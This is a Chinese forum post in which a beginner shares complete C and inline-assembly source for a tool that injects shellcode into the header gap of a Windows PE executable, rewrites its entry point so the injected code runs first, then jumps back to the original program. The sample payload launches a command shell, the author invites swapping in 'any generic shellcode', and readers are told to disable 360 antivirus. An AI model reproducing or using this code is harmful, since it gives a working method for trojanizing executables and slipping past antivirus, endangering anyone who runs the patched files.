本人菜鸟,学识浅薄,若有纰漏,还望高人指正。
最新学习PE结构,觉得略懂一二,于是想写一个能在PE结构中插入一小段补丁程序的程序,其功能是当PE被加载进内存后,补丁程序先于原程序运行,后才将执行权限转交给原程序。
补丁在PE中的大致位置如下所示:
--------------------------------
| DOS 头 |
--------------------------------
| DOS Stub |
-------------------------------- <---注意:DOS Stub 和补丁程序有部分重叠
| 补丁程序 |
--------------------------------
| PE 头 |
--------------------------------
| 节表 |
--------------------------------
| 节 |
--------------------------------
在此需要特别说明的是,这里的补丁程序和DOS Stub有部分是重叠的,其目的是使得打了补丁后的程序能更加小。
为了便于读者阅读,再次做一个约定:
目标文件:你想给哪个文件打补丁,哪个文件就是目标文件。
结果文件:打了补丁后的目标文件就是结果文件。
程序的整体思路如下:
1、获取目标文件的大小(以字节为单位),开辟一个目标文件的缓冲区(记为ObjectFileBuffer),其大小为目标文件的大小,将整个PE文件读入其中。
2、获取目标文件中PE的各种信息,比如PE头的偏移,文件中节的对齐粒度等等。
3、利用获取到的信息,计算结果文件大小。
4、开辟一个结果文件缓冲区(记为SaveFileBuffer),其大小为结果文件大小。
5、将ObjectFileBuffer中的DOS头和DOS Stub复制到SaveFileBuffer的起始处。
6、将补丁程序的字节码复制到SaveFileBuffer中的适当位置。
7、将ObjectFileBuffer中的其余部分复制到SaveFileBuffer中的补丁位置的后面。
8、将SaveFileBuffer中的字节写入文件中
以下是我的源代码,该源代码在Windows XP SP2 VC6.0下编译通过。
/*
* 本程序的功能:在PE空隙中插入一小段补丁程序,PE被加载后,补丁程序先于原程序运行,后将执行权转移给原程序
* 补丁在PE结构中的大致位置:
* --------------------------------
* | DOS 头 |
* --------------------------------
* | DOS Stub |
* --------------------------------
* | 补丁程序 |
* --------------------------------
* | PE 头 |
* --------------------------------
* | 节表 |
* --------------------------------
* | 节 |
* --------------------------------
*
* 注意:为了使程序字节变得更小,在这里补丁程序和DOS Stub部分是重合的
* 本程序在Windows XP SP2 VC6.0下编译通过
* 请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便
*/
#include <windows.h>
#include <stdio.h>
char cObjectFile[]="C:\\PE\\s.exe";//目标文件
char cSaveFile[]="C:\\PE\\new.exe";//结果文件
char *szFileBuffer=NULL;
char *szOldFile=NULL;
//实用补丁程序字节码
DWORD dwPatchSize;
char* cPatch;
/*
* 请将补丁字节码粘贴在这里,后面跟随若干个90,请确保该_cPatch的缓冲区比较小,
* 如果缓冲区过大,可能会使补丁程序无法正常跳转到原程序入口,
* 或者使补丁不能正常插入到原程序中
* 建议缓冲区大小为8的倍数
*/
//待用补丁程序字节码
DWORD _dwPatchSize=192;
char* _cPatch=new char[_dwPatchSize]=//本补丁的功能是弹出一个cmd,其默认msvcrt.dll已被加载
"\x55"
"\x8b\xec"
"\x33\xff"
"\x57"
"\x83\xec\x08"
"\xc6\x45\xfe\x6d"
"\xc6\x45\xfd\x6f"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfb\x2e"
"\xc6\x45\xfa\x64"
"\xc6\x45\xf9\x6e"
"\xc6\x45\xf8\x61"
"\xc6\x45\xf7\x6d"
"\xc6\x45\xf6\x6d"
"\xc6\x45\xf5\x6f"
"\xc6\x45\xf4\x63"
"\x8d\x45\xf4"
"\x50"
"\xb8\xc7\x93\xbf\x77"
"\xff\xd0"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
DWORD dwPatchFOA;//补丁程序FOA
DWORD ddMaxSizePatch;//可以使用的最大容量补丁程序
////////////////////////////
//PE信息
DWORD dwe_lfanew=0x3c;//常量
DWORD ddPEHeaderSize=248;//PE头的大小-常量
DWORD dwSectionHeaderFileOffset=20;//节表头到文件偏移项的偏移-常量
DWORD dwSectionHeaderSize=40;//一个节表项的大小-常量
DWORD ddHeaderAndSectionSize;//头+节表在文件中总大小:DOS头+PE头+节表
LONG e_lfanew=0;
DWORD dwDosSize=0;//DOS头和DOS Stub的总大小
DWORD ddAddressOfEntryPoint;//程序执行入口RVA
WORD wNumberOfSection;//PE中节的数量
DWORD dwSectionTableStart;//节表起始处的FOA
DWORD dwDataDirectorySize=0;//数据目录数组的总大小
DWORD ddNumberOfRvaAndSizes;//数据目录项目个数
DWORD ddSegmentOffset;//节偏移
DWORD ddSectionAlignment;//内存中节的对齐粒度
DWORD ddFileAlignment;//文件中节的对齐粒度
char* ddtextName=new char[6];//.text节的名字
DWORD ddtextSizeOfRawData;//.text节的在文件中对齐后的尺寸
DWORD ddtextFileOffset;//.text节在文件中的偏移
DWORD ddtextRVA;//.text节的RVA
DWORD ddPatchRVA;//补丁起始地址RVA
DWORD ddAddressOfEntryPointXX;//原始程序入口RVA与新入口RVA跳转时的XX
BYTE byE9=233;//长跳转指令字节码 E9 XXXXXXXX
///////////////////////////////////
//导入表
DWORD ddITRVA;//导入表起始RVA
DWORD ddITFOA;//导入表起始FOA
DWORD ddITFileaddress;//导入表在内存中的文件开始地址
DWORD ddITMemoryaddress;//导入表内存的开始地址
DWORD ddIATRVA;//导入函数地址表RVA
///////////////////////////////////
//动态连接库的数量
DWORD ddNumberOfLibrary;
//某一个动态链接库的信息
char* addLibName=new char[100];//指向的动态链接库的名字
DWORD ddValueOfBridge1;//桥1的内容,一个RVA
DWORD ddValueOfBridge2;//桥2的内容
////////////////////////////////
void GetPEInformation(char* file)
{
HANDLE h;
DWORD readed;
h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//获得文件的大小
DWORD dwFileSize;
dwFileSize=GetFileSize(h,NULL);
//读取原始文件
szOldFile=new char[dwFileSize+1];
ReadFile(h,szOldFile,dwFileSize,&readed,NULL);
__asm{
pushf
push ebp
mov ebp,esp
//start
mov eax,dwe_lfanew
mov ecx,szOldFile
mov ebx,[eax+ecx]
mov e_lfanew,ebx;获得e_lfanew
;计算DOS头和DOS Stub的总大小
mov dwDosSize,ebx
;获得原始程序入口RVA
mov eax,ebx
mov eax,[ecx+ebx+28h]
mov ddAddressOfEntryPoint,eax
;获得内存中节的对齐粒度
xor eax,eax
mov eax,dwDosSize
add eax,38h
xor ecx,ecx
mov ecx,szOldFile
mov ebx,[ecx+eax]
mov ddSectionAlignment,ebx
;获得文件中节的对齐粒度
add eax,4h
mov ebx,[ecx+eax]
mov ddFileAlignment,ebx
;计算节偏移
mov eax,ddSectionAlignment
mov ebx,ddFileAlignment
sub eax,ebx
mov ddSegmentOffset,eax
;获得PE中节的数量
xor eax,eax
mov ebx,dwDosSize
mov ecx,szOldFile
mov ax,[ecx+ebx+6h]
mov wNumberOfSection,ax
;获取数据目录数组的目录项数
xor eax,eax
mov eax,dwDosSize
add eax,74h
mov ecx,szOldFile
mov ebx,[ecx+eax]
mov ddNumberOfRvaAndSizes,ebx
;计算.text节-------------------------------------------------不通用
;1、在文件的偏移
;2、在文件中对齐后的尺寸
;3、该节的RVA
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov ecx,szOldFile
add ecx,dwDosSize
add ecx,ddPEHeaderSize
mov bl,[ecx+1]
sub ebx,'t'
cmp ebx,0
jnz allover
mov eax,ddtextName
mov bl,[ecx]
mov [eax],bl ;'.'
mov bl,[ecx+1]
mov [eax+1],bl ;'t'
mov bl,[ecx+2]
mov [eax+2],bl ;'e'
mov bl,[ecx+3]
mov [eax+3],bl ;'x'
mov bl,[ecx+4]
mov [eax+4],bl ;'t'
mov bl,[ecx+5]
mov [eax+5],bl ;' '
add ecx,0ch ;获得RVA
mov eax,[ecx]
mov ddtextRVA,eax
add ecx,4h ;获得尺寸
mov eax,[ecx]
mov ddtextSizeOfRawData,eax
add ecx,4h ;获得偏移
mov eax,[ecx]
mov ddtextFileOffset,eax
//end
allover:
pop ebp
popf
}
//计算数据目录数组的总大小
dwDataDirectorySize=8*ddNumberOfRvaAndSizes;
__asm{
pushf
push ebp
mov ebp,esp
//start
;计算节表起始处的FOA
xor eax,eax
mov eax,dwDosSize
add eax,78h
add eax,dwDataDirectorySize
mov dwSectionTableStart,eax
;计算导入表起始RVA
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,dwDosSize
add eax,80h
add eax,szOldFile
mov ebx,[eax]
mov ddITRVA,ebx
;计算导入函数地址表起始RVA
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,dwDosSize
add eax,0d8h
add eax,szOldFile
mov ebx,[eax]
mov ddIATRVA,ebx
;计算导入表起始的文件偏移FOA-----------------------------------------不通用?,默认导入函数起始地址在.text节中
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,ddITRVA
mov ebx,ddtextRVA
sub eax,ebx
mov ebx,ddtextFileOffset
add ebx,eax
mov ddITFOA,ebx
;计算导入表在内存中的文件开始地址
xor eax,eax
xor ebx,ebx
mov eax,szOldFile
add eax,ddITFOA
mov ddITFileaddress,eax
////////////////////////////////////////////////////////////某一个动态连接库的信息////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////开始///////////////////////////////////////////////////////
;获得该动态连接库的名字
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,szOldFile
add eax,ddITFOA
add eax,0ch
mov ebx,[eax]
mov eax,ddtextRVA
sub ebx,eax
mov eax,ddtextFileOffset
add eax,ebx
add eax,szOldFile
mov ebx,addLibName
jmp CopyString
CopyString:
;eax->ebx
xor ecx,ecx
xor edx,edx
mov edx,0
ag:
mov cl,[eax+edx]
cmp cl,0
jz copyover
mov [ebx+edx],cl
inc edx
jmp ag
copyover:
mov [ebx+edx],cl
//DWORD ddValueOfBridge1;//桥1的内容,一个RVA
;获得该动态链接库的桥1值
xor eax,eax
xor ebx,ebx
mov eax,ddITFileaddress
mov ebx,[eax]
mov ddValueOfBridge1,ebx
//DWORD ddValueOfBridge2;//桥2的内容
;获得该动态连接库的桥2值
xor eax,eax
xor ebx,ebx
mov eax,ddITFileaddress
mov ebx,[eax+10h]
mov ddValueOfBridge2,ebx
//////////////////////////////////////////////////////////////////结束////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;计算动态连接库的数量
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,ddITFileaddress
add eax,0ch
againlib:
mov ebx,[eax]
cmp ebx,0
jnz plusone
jmp overlib
plusone:
inc ecx;ecx表示数量
add eax,8h
add eax,0ch
jmp againlib
overlib:
mov ddNumberOfLibrary,ecx
;计算头+节表在文件中总大小:DOS头+PE头+节表
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,dwDosSize
add eax,ddPEHeaderSize
mov cx,wNumberOfSection
againallsize:
cmp cx,0
jz overallsize
add eax,dwSectionHeaderSize
dec cx
jmp againallsize
overallsize:
mov ddHeaderAndSectionSize,eax
//11*16=176bytes B0-按经验,不通用
add eax,0B0h
mov ddHeaderAndSectionSize,eax
;得到补丁程序FOA
xor eax,eax
mov eax,ddHeaderAndSectionSize
mov dwPatchFOA,eax
;计算可以使用的最大容量补丁程序
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,ddSectionAlignment
mov ebx,ddHeaderAndSectionSize
sub eax,ebx
mov ddMaxSizePatch,eax
;计算实用补丁程序大小
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,ddHeaderAndSectionSize
mov ebx,ddtextFileOffset
sub ebx,eax
mov dwPatchSize,ebx
;计算补丁起始地址RVA
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,ddHeaderAndSectionSize
mov ddPatchRVA,eax
;计算原始程序入口RVA与新的入口RVA之间跳转时的XX
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,ddPatchRVA
mov ecx,dwPatchSize
add eax,ecx
mov ebx,ddAddressOfEntryPoint
sub ebx,eax
mov ddAddressOfEntryPointXX,ebx
//end
pop ebp
popf
}
//如果不需要输出原程序的信息,可以将下面的输出注释起来
printf("原程序绝对路径: %s\n",cObjectFile);
printf("e_lfanew=0x%x\n",e_lfanew);
printf("DOS Size = %d bytes\n",dwDosSize);
printf("Number Of Section = %d \n",wNumberOfSection);
printf("Address of Entry Point = 0x%x \n",ddAddressOfEntryPoint);
printf("dwSectionTableStart =0x%x \n",dwSectionTableStart);
printf("ddNumberOfRvaAndSizes = %d \n",ddNumberOfRvaAndSizes);
printf("ddFileAlignment = 0x%x \n",ddFileAlignment);
printf("ddSectionAlignment = 0x%x \n",ddSectionAlignment);
printf("ddSegmentOffset = 0x%x \n",ddSegmentOffset);
printf("动态链接库数量 : %d\n",ddNumberOfLibrary);
printf("头+节表在文件中的总大小(作过调整): 0x%x\n",ddHeaderAndSectionSize);
printf("单个内存文件头节内可以使用的最大容量补丁程序: 0x%x=%d bytes\n",ddMaxSizePatch,ddMaxSizePatch);
printf("====================导入表===========================\n");
printf("导入表RVA = 0x%x\n",ddITRVA);
printf("导入表在内存中的文件起始地址 = 0x%x\n",ddITFileaddress);
printf("导入表FOA = 0x%x\n",ddITFOA);
printf("RVA of ITA = 0x%x\n",ddIATRVA);
printf("第一个动态连接库的名字 : %s\n",addLibName);
printf("====================节表==============================\n");
printf("%s 文件中的偏移: 0x%x\n",ddtextName,ddtextFileOffset);
printf(" 文件中对齐后的尺寸: 0x%x\n",ddtextSizeOfRawData);
printf(" 节的RVA: 0x%x\n",ddtextRVA);
delete szOldFile;
CloseHandle(h);
}
//在PE间隙中插入程序
void ModifyExe(char* file)
{
int nAddNumberOf200=0;//新增加的200字节个数,默认为不增加
//首先计算实用补丁程序大小和待用补丁大小程序的差异,如果差异过大,则不允许插入补丁程序
if(_dwPatchSize>dwPatchSize)
{
printf("不允许插入补丁程序\n");
return ;
}
else
{
cPatch=new char[dwPatchSize];
memset(cPatch,144,dwPatchSize);
memcpy(cPatch,_cPatch,_dwPatchSize);
}
HANDLE h;
DWORD readed;
h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
//获得文件的大小
DWORD ddFileSize;
ddFileSize=GetFileSize(h,NULL);
//读取原始文件
szOldFile=new char[ddFileSize+1];
ReadFile(h,szOldFile,ddFileSize,&readed,NULL);
//新文件的内容缓冲区
szFileBuffer=new char[ddFileSize+dwPatchSize];
//复制头+节表
memcpy(szFileBuffer,szOldFile,ddHeaderAndSectionSize);
//复制补丁程序
memcpy(szFileBuffer+ddHeaderAndSectionSize,cPatch,dwPatchSize);
//插入剩余部分字节
memcpy(szFileBuffer+ddHeaderAndSectionSize+dwPatchSize,szOldFile+ddtextFileOffset,ddFileSize-ddtextFileOffset);
//修改程序执行入口RVA-AddressOfEntryPoint
__asm{
pushf
push ebp
//start
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,szFileBuffer
add eax,dwDosSize
add eax,28h
mov ebx,ddPatchRVA
mov [eax],ebx
//end
pop ebp
popf
}
//修改跳转到原始程序入口RVA的字节码 E9 XX
__asm{
pushf
push ebp
//start
xor eax,eax
xor ebx,ebx
xor ecx,ecx
mov eax,szFileBuffer
add eax,dwPatchFOA
add eax,dwPatchSize
sub eax,4
mov ebx,ddAddressOfEntryPointXX
mov ecx,0
mov [eax+3],cl
mov [eax+2],cl
mov cl,bh
mov [eax+1],cl
mov cl,bl
mov [eax],cl
mov cl,byE9
mov [eax-1],cl
//end
pop ebp
popf
}
CloseHandle(h);
//写入新文件中
h=CreateFile(cSaveFile,GENERIC_READ | GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(h,szFileBuffer,ddFileSize+dwPatchSize,&readed,NULL);
CloseHandle(h);
}
void main()
{
GetPEInformation(cObjectFile);
ModifyExe(cObjectFile);
}
注意:在测试或者使用本程序时,请将你自己的补丁程序字节码复制到_cPatch所指向的缓冲区中,其字节数量尽可能得小,否则可能导致补丁程序无法正常跳转到原程序入口或者补丁程序无法正常插入到原程序中。请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便。
在给出的代码中,其补丁的功能是弹出一个cmd,所以在测试本程序之前,请确保你的目标文件已经加载了msvcrt.dll(system函数在msvcrt.dll中导出),否则cmd可能将不能正常弹出。
_cPatchch中的字节码可以替换成任意的通用的shellcode。
cObjectFile缓冲区中存放的是目标文件,cSaveFile缓冲区中存放的是结果文件,读者可以将他们替换成你自己的目标文件和结果文件。
本程序还有许多地方做得不够完善,比如本程序的通用性较差,如果发生程序不能正常运行的情况,若您愿意,可以联系本人,本人会尽量完善之,使其通用。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课